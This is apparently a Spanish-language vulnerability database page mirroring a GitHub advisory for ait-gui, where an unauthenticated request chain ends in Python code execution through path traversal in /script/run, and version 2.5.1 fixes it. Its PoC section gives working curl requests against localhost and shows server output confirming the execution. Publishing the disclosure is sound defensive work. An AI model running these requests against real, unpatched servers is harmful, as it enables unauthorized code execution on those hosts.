llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · ait-gui

GHSA-JRJX-9JJW-747M

AIT-GUI route chain allows unauthenticated Python execution in server process

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión2.5.1
Exposición23 hDesde la divulgación, 20 nov 2026, 6:36 p. m.
Detección17 minDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (alta) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Ponle fecha: las tareas sin fecha son leyendas.Ponle una regla en tu SIEM y seguimos.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada +1
06:36 p. m.
05:26 p. m.
06:36 p. m.
12:19 a. m.
06:01 a. m.
11:44 a. m.
05:26 p. m.
FechaFaseEventoDetalle
Divulgación Publicada GHSA-JRJX-9JJW-747M divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

## Summary
A security issue exists where unauthenticated callers can instruct the AIT-GUI server to execute arbitrary Python scripts. The attack vector involves obtaining a session cookie through GET /, followed by a malicious POST /script/run request containing an absolute file path that bypasses the configured script directory restrictions.

### Patches
* 2.5.1

### Impact
This vulnerability allows unauthenticated remote code execution on the AIT-GUI server. Any attacker with network access can execute arbitrary Python code with daemon privileges.

## Details
_Chain:_
1. `POST /tlm/query` writes the user-controlled `fields` value into `fields_in.txt` under the AIT-GUI static directory.
* If the supplied `dataDir` has no `.pcap` files, the route returns the expected `400 Bad Request` before deleting that file.
2. `POST /script/run` accepts `scriptPath=../static/fields_in.txt`.
* AIT-GUI reads that file and runs it as Python.

_Relevant code:_
- `ait/gui/__init__.py:930,935,942-944`: `/tlm/query` writes `fields` to `fields_in.txt`.
- `ait/gui/__init__.py:952-958,978`: the no-PCAP error path aborts before cleanup.
- `ait/gui/__init__.py:1130-1136`: `/script/run` joins `scriptPath` with `ScriptRoot` and only checks that the path exists.
- `ait/gui/__init__.py:1186-1191`: the selected file is read and executed as Python.
- `ait/gui/__init__.py:1105-1108`: nearby `/scripts/load/<name>` has a path containment check, but `/script/run` does not.

### Fix Information
Restricted script execution paths and avoided using static temp files.

## PoC
1. `POST /tlm/query` writes the user-controlled `fields` value into `fields_in.txt` under the AIT-GUI static directory.
* If the supplied `dataDir` has no `.pcap` files, the route returns the expected `400 Bad Request` before deleting that file.

# Remove file to ensure nothing exists
AIT-GUI % rm <path>/fields_in.txt

# With server started, send POST request to /tlm/query endpoint
AIT-GUI % curl -X POST http://localhost:8080/tlm/query \  -d "dataDir=<path>" \     
  -d "timeField=time" \
  -d "packet=CCSDS_HEADER" \
  -d "fields=field1,field2,field3" \
  -d "startTime=2026-07-01T00:00:00" \
  -d "endTime=2026-07-10T00:00:00" \
  -o query_out.csv
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   925  100   782  100   143  34798   6363 --:--:-- --:--:-- --:--:-- 42045

# AIT-server log verify that PCAP file cannot be found:
2026-07-10T11:46:37.873 | ERROR    | Unable to locate PCAP files for query given data directory <path>

# Verify file is created and not cleaned up
AIT-GUI % cat <path>/fields_in.txt
field1
field2
field3
  1. `POST /script/run` accepts `scriptPath=../static/fields_in.txt`.
  2. AIT-GUI reads that file and runs it as Python.
# Generate session cookie
curl -c cookies.txt -v http://localhost:8080/ -o /dev/null

# Execute example script which currently exists in configured scripts.directory in config.yaml
(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % cat config.yaml | grep script
    script:
        directory: ./scripts

(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % ls scripts
example_script.py

# Create exploit script "exploit.py" outside of configured location
(venv) scripts % ls ../exploit.py 
../exploit.py

# Perform request to example_script.py. This script prints 'correct'
(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % curl -X POST http://localhost:8080/script/run -d "scriptPath=example_script.py" -b cookies.txt

# Perform request to exploit.py, which exists outside of configured location. This script prints 'exploited'
(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % curl -X POST http://localhost:8080/script/run -d "scriptPath=../exploit.py" -b cookies.txt  

# Verify in server logs that correct and exploit print
2026-07-10T13:46:41.441 | INFO     | Starting broker...
correct
...
exploited

Additional Notes

  • Python code execution in the AIT-GUI server process.
  • The demo is localhost only (`127.0.0.1`) and proves the issue against AIT-GUI `2.5.0`.
  • The tested AIT-GUI source binds the web server to `0.0.0.0`, so in a deployment where another host can reach the AIT-GUI HTTP port, this becomes code execution from that network position.
  • No login credentials or privileged account were required in the tested flow. The PoC only used the normal `sid` cookie created by `GET /`. In my local demo, the payload ran as my normal user (`uid=1000`), not root.
  • ait_gui_tlm_query_script_run_rce_live_server.py https://github.com/user-attachments/files/29583858/ait_gui_tlm_query_script_run_rce_live_server.py
  • ait-gui-tlm-query-script-run-rce.patch https://github.com/user-attachments/files/29583552/ait-gui-tlm-query-script-run-rce.patch
  • https://github.com/user-attachments/assets/a188aaa3-783a-4bb0-ab9a-6541f939a26a

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
ait-gui≥ 1.0.0 < 2.5.1
1.0.0
2.5.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
PyPIait-gui
Corregida 2.5.1 — —
Versiones corregidas2.5.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-77309
Otrahttps://github.com/NASA-AMMOS/AIT-GUI/security/advisories/GHSA-jrjx-9jjw-747m
Otrahttps://github.com/NASA-AMMOS/AIT-GUI/commit/beb8fc0813eded89f985d3eb9a73535dd327726d
Otrahttps://github.com/NASA-AMMOS/AIT-GUI
Otrahttps://github.com/NASA-AMMOS/AIT-GUI/blob/2.5.1/CHANGELOG.md
Otrahttps://github.com/NASA-AMMOS/AIT-GUI/releases/tag/2.5.1

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.